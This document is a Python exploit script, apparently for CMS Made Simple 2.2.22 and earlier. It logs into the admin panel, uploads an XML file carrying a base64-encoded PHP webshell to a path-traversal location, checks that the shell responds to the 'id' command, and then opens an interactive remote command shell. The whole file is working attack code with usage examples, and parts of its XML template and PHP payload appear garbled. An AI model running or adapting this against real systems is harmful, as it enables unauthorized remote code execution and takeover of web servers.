import requests import base64 import sys import re from urllib.parse import urljoin class CMSMadeSimpleExploit: def __init__(self, base_url, admin_url, username, password): self.base_url = base_url.rstrip("/") self.admin_url = admin_url.rstrip("/") self.username = username self.password = password self.session = requests.Session() self.session.verify = False requests.packages.urllib3.disable_warnings() def login(self): print("[*] Logging into admin panel...") login_url = urljoin(self.admin_url, "/login.php") response = self.session.get(login_url) # Get CSRF token if present csrf_match = re.search(r'name="__csrf_token"\s*value="([^"]+)"', response.text) csrf_token = csrf_match.group(1) if csrf_match else "" login_data = { "username": self.username, "password": self.password, "logintoken": csrf_token, "submit": "Login" } headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Content-Type": "application/x-www-form-urlencoded" } response = self.session.post(login_url, data=login_data, headers=headers, allow_redirects=True) if "logout" in response.text.lower() or "admin" in response.url: print("[+] Login successful") return True else: print("[-] Login failed") return False def generate_malicious_xml(self, upload_path, php_code): encoded_code = base64.b64encode(php_code.encode()).decode() xml_content = f""" UserGuide 1.3 {upload_path} 0 {encoded_code} """ return xml_content def exploit(self, upload_path, php_code="", webshell_name="cmd"): if not php_code: php_code = f"""" . shell_exec($_REQUEST['cmd']) . ""; }} ?>""" print("[*] Creating malicious XML payload...") xml_payload = self.generate_malicious_xml(upload_path, php_code) # First get the import page to grab any tokens import_url = urljoin(self.admin_url, "/moduleinterface.php?module=UserGuide&action=import") response = self.session.get(import_url) csrf_match = re.search(r'name="__csrf_token"\s*value="([^"]+)"', response.text) csrf_token = csrf_match.group(1) if csrf_match else "" print("[*] Uploading malicious XML file...") files = { "m1_input_file": ("exploit.xml", xml_payload, "text/xml") } post_data = { "m1_submit": "Import" } if csrf_token: post_data["__csrf_token"] = csrf_token upload_response = self.session.post(import_url, files=files, data=post_data) if upload_response.status_code == 200 and "success" in upload_response.text.lower(): print(f"[+] File uploaded successfully via path traversal!") else: print(f"[?] Upload response code: {upload_response.status_code}") print("[*] Checking if webshell was written anyway...") # Extract just the filename for the webshell URL shell_filename = upload_path.split("/")[-1] shell_url = urljoin(self.base_url, f"/{shell_filename}") print(f"\n[*] Trying to access webshell at: {shell_url}") test_response = self.session.get(shell_url, params={"cmd": "id"}) if test_response.status_code == 200 and "uid=" in test_response.text: print(f"[+] Webshell is alive!") print(f"[+] Command output: {test_response.text.strip()}") return shell_url else: print("[-] Could not verify webshell at expected location") print("[*] Try common CMS Made Simple paths:") alternative_paths = [ urljoin(self.base_url, f"/uploads/{shell_filename}"), urljoin(self.base_url, f"/tmp/{shell_filename}"), urljoin(self.admin_url, f"/{shell_filename}"), ] for alt_url in alternative_paths: alt_response = self.session.get(alt_url, params={"cmd": "id"}) if "uid=" in alt_response.text: print(f"[+] Found webshell at: {alt_url}") return alt_url return None def interactive_shell(self, shell_url): print("\n[*] Interactive shell mode. Type 'exit' to quit.") while True: try: cmd = input("$ ") if cmd.lower() in ["exit", "quit"]: break response = self.session.get(shell_url, params={"cmd": cmd}) print(response.text) except KeyboardInterrupt: break except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print(""" CMS Made Simple <= 2.2.22 - UserGuide Module RCE Path Traversal / Arbitrary File Upload Exploit ================================================== """) if len(sys.argv) < 5: print("Usage: python exploit.py [upload_path]") print("") print("Examples:") print(" python exploit.py http://target.com http://target.com/admin admin password123") print(" python exploit.py http://target.com http://target.com/admin admin password123 ../../../../../../var/www/html/backdoor.php") print("") sys.exit(1) base_url = sys.argv[1] admin_url = sys.argv[2] username = sys.argv[3] password = sys.argv[4] upload_path = "../../../../../../var/www/html/shell.php" if len(sys.argv) > 5: upload_path = sys.argv[5] exploit = CMSMadeSimpleExploit(base_url, admin_url, username, password) if not exploit.login(): sys.exit(1) shell_url = exploit.exploit(upload_path) if shell_url: print("\n[+] Exploit successful! Starting interactive shell...") exploit.interactive_shell(shell_url)